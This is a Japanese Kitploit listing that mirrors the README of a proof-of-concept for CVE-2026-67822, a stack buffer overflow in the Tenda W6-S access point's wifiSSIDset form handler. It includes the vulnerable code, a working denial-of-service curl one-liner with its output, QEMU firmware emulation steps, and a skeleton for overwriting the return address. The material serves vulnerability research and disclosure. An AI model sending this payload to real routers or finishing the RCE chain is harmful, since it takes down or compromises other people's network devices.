Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset — Tenda W6-S /goform/wifiSSIDset における CVE-2026-67822 スタックオーバーフローの PoC: DoS 再現ツール、QEMU MIPS シム、および概念的な RCE ペイロードのスケルトン。 | Kitploit
ツール/GitHubGitHub/hunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset
組み込みシステムセキュリティ動的分析 (サンドボックス)IoTセキュリティ脆弱性分析エクスプロイトハードウェアとIoTセキュリティペイロード開発ファームウェア解析バイナリエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubhunt-benito/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset

Tenda W6-S /goform/wifiSSIDset における CVE-2026-67822 スタックオーバーフローの PoC: DoS 再現ツール、QEMU MIPS シム、および概念的な RCE ペイロードのスケルトン。

リポジトリを見る
13日前未レビュー

CVE-2026-67822 — Tenda W6-S wifiSSIDset スタックバッファオーバーフロー(PoC)

Hunt-Benito記事に付属するPoC 「GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler」。

CVE-2026-67822(CVSS 9.8 Critical、CWE-121)は、Tenda W6-Sワイヤレスアクセスポイントの /bin/httpd(GoAhead派生のウェブサーバ)が持つ /goform/wifiSSIDset エンドポイントの背後にあるC関数 formwrlSSIDset() におけるスタックベースのバッファオーバーフローです。

root@kitploit:~
char  v34[64];                                  /* 64-byte stack buffer       */
GO    = websGetVar(a1, "GO",    "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index);        /* unbounded -> stack overflow */

確認された影響: サービス拒否(httpd のクラッシュ)。 潜在的な影響: リモートコード実行(MIPS、スタックカナリアなし / このビルドではASLRなし)。


リポジトリの内容


クイックスタート: DoSの再現

実機のW6-S(デフォルトLAN IP 192.168.5.10)またはエミュレートされたインスタンスに対して:

root@kitploit:~
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target  : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.

同等のワンライナー:

root@kitploit:~
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
    -d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"

リクエストが返された後、管理インターフェースは電源を入れ直すまで応答しません。


ハードウェアなしでの再現(QEMU MIPS + fake_apmib.so)

/bin/httpd は実際のTendaシリコン(libapmib.so、cfmd デーモン、LAN MAC)を前提としています。fake_apmib.c シムは、エミュレートしたファームウェアファイルシステム内で httpd を起動できるように、それらのうち必要最小限を偽装します。このセットアップは元の研究者の手法を踏襲しています。

1. MIPSビッグエンディアン用のシムをビルドする

root@kitploit:~
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c

2. ホストのネットワーク — ブリッジ + TAP

root@kitploit:~
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0

3. MIPS Maltaゲストを起動する

root@kitploit:~
$ sudo qemu-system-mips -M malta \
    -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_wheezy_mips_standard.qcow2 \
    -append "root=/dev/sda1" \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -nographic

4. ゲスト内: インターフェースを設定し、ファームウェアをステージングする

root@kitploit:~
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz  [email protected]:/root/
$ scp ./fake_apmib.so         [email protected]:/root/squashfs-root/

5. chrootしてシム付きで httpd を起動する

root@kitploit:~
guest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev  ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &

これで管理インターフェースは http://192.168.5.10(デフォルトログイン admin / admin)で到達可能になり、poc_dos.py は実機に対する場合とまったく同じように動作します。

Tendaの内部 apmib/cfmd ヘルパーの正確なプロトタイプはファームウェアのビルドごとに異なります。ターゲットの実際の libapmib.so(objdump -T libapmib.so / IDA)で確認し、必要に応じて fake_apmib.c を調整してください。


概念実証用のRCEパス

exploit_conceptual.py は、DoSを超えた攻撃の形状を示しています:

root@kitploit:~
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
#  feed it to cyclic_offset() to recover the exact offset)

# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>

このスケルトンは $ra のみをリダイレクトします。 乗っ取りを実際のコード実行に変えるには、非NXスタック向けのシェルコードか、特定のファームウェアイメージ内のガジェットから組み立てたROPチェーンのいずれかが必要です — どちらもビルド固有のものであり、意図的に研究者に委ねられています。DoSは確認済みであり、RCEはCVSSベクタ(C:H/I:H)が反映するもっともらしい最悪ケースです。


法的 / 責任ある使用

このコードは許可されたセキュリティ研究専用です。所有しているデバイス、または明示的な書面によるテスト許可を得たデバイスに対してのみ実行してください。管理していないネットワークやハードウェアに対して使用しないでください。

参考文献

  • NIST NVD — CVE-2026-67822: https://nvd.nist.gov/vuln/detail/CVE-2026-67822
  • 元のPoC解説(trister): https://github.com/Tristerjh/Tenda/blob/main/Tenda_W6-S_GO_overflow.md
  • MITRE CWE-121: https://cwe.mitre.org/data/definitions/121.html
  • Tenda W6-S製品ページ: https://www.tendacn.com/material/show/103478
ツールをダウンロード
影響を受ける製品Tenda W6-Sワイヤレスアクセスポイント
影響を受けるファームウェアv1.0.0.4(510)
CVSS v3.19.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-121(スタックベースのバッファオーバーフロー)
脆弱性のあるエンドポイントPOST /goform/wifiSSIDset(パラメータ GO、index)
発見者 / クレジットtrister
ファイル目的
poc_dos.py確認済みのDoS再現スクリプト。 過大な GO パラメータを送信し、その結果生じる httpd のクラッシュを検出します。標準ライブラリのみ — 依存関係なし。
exploit_conceptual.py概念実証用RCEスケルトン。 制御フロー乗っ取りの形(保存された $ra へのパディング、その後の上書き)と、$ra までのオフセットを経験的に導出するサイクリックパターンヘルパーを示します。動作するシェルコードやガジェットアドレスは含まれていません。
fake_apmib.cTendaのハードウェア/MIB呼び出しを偽装する LD_PRELOAD シムで、QEMU MIPSゲスト上で /bin/httpd を起動できるようにします — 実機なしでバグを再現するために使用した手法です。
シムがインターセプトするもの戻り値理由
apmib_init()1ハードウェア/MIB初期化をスキップ
ConnectCfm()1cfmd デーモンが応答したふりをする
GetValue("lan.ip", …)192.168.5.10静的管理IP
ioctl(SIOCGIFHWADDR)00:11:22:33:44:55偽のMAC
connect()パススルーunixソケット/TCP接続を解決